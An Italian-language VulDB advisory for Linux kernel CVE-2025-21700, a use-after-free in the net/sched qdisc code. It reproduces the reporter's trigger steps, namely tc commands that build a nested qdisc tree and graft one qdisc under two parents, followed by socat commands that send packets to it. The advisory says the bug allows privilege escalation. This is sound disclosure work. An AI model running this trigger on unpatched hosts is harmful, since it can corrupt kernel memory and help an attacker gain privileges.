CVE-2025-21700 in Linuxinformazioni

Riassunto

di VulDB • 18/06/2026

Nel kernel Linux, è stata risolta la seguente vulnerabilità:

net: sched: Impedire lo spostamento di un qdisc figlio da un genitore a un altro

Lion Ackermann ha creato una condizione Use-After-Free (UAF) che può essere sfruttata per l'escalation dei privilegi con il seguente script.

Passaggio 1. creare un qdisc radice tc qdisc add dev lo root handle 1:0 drr

passaggio2. una classe per l'aggregazione di pacchetti al fine di dimostrare la UAF tc class add dev lo classid 1:1 drr

passaggio3. una classe per il nesting (annidamento) tc class add dev lo classid 1:2 drr

passaggio4. una classe a cui agganciare (graft) un qdisc tc class add dev lo classid 1:3 drr

passaggio5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

passaggio6. tc qdisc add dev lo parent 1:2 handle 3:0 drr

passaggio7. tc class add dev lo classid 3:1 drr

passaggio8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

passaggio9. visualizzare la struttura delle classi/qdisc

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2

passaggio10. attivare il bug <=== prevenuto da questa patch tc qdisc replace dev lo parent 1:3 handle 4:0

passaggio 11. visualizzare nuovamente i qdisc/classi

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2

Osservare che a) il genitore per 4:0 non cambia nonostante la richiesta di replace (sostituzione). Deve esserci un solo genitore. b) il refcount è aumentato di due unità per 4:0 e c) sia la classe 1:3 che la 3:1 puntano ad essa.

Passaggio 12. inviare un pacchetto al plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) passaggio13. inviare un pacchetto alla fifo agganciata (grafted) echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Responsabile

Linux

Prenotare

29/12/2024

Divulgazione

13/02/2025

Moderazione

accettato

CPE

pronto

EPSS

0.00228

KEV

no

Attività

molto basso

Fonti

Do you want to use VulDB in your project?

Use the official API to access entries easily!